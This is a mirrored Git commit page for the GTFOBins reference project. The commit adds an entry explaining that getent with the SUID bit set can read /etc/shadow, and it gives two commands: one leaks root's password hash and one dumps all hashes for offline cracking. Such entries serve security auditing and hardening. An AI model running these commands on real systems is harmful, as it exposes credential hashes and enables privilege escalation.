mirror/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-22 07:41:33 +01:00
Code Issues

Merge a9bde5abd47bbd27e51a95c946950b426bba3f72 into b29f2cfde1c72e4ea5191e49604e923bbda98461

Browse Source
This commit is contained in:
Mahdi Hamedani Nezhad 2025-10-17 10:36:56 +02:00 committed by GitHub
commit 33f30cc899
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
_gtfobins/getent.md Normal file
View File

@ -0,0 +1,18 @@
---
description: |
`getent` is a utility that retrieves entries from administrative databases configured
via the Name Service Switch (NSS). If misconfigured with the SUID bit, it can be abused
to access sensitive databases such as `shadow`, which contains user password hashes,
including root's.
This can lead to local privilege escalation by leaking password hashes for offline cracking.
functions:
suid:
- code: |
# Leak root hash from /etc/shadow via getent SUID binary
./getent shadow root
- code: |
# Dump all hashes
./getent shadow
---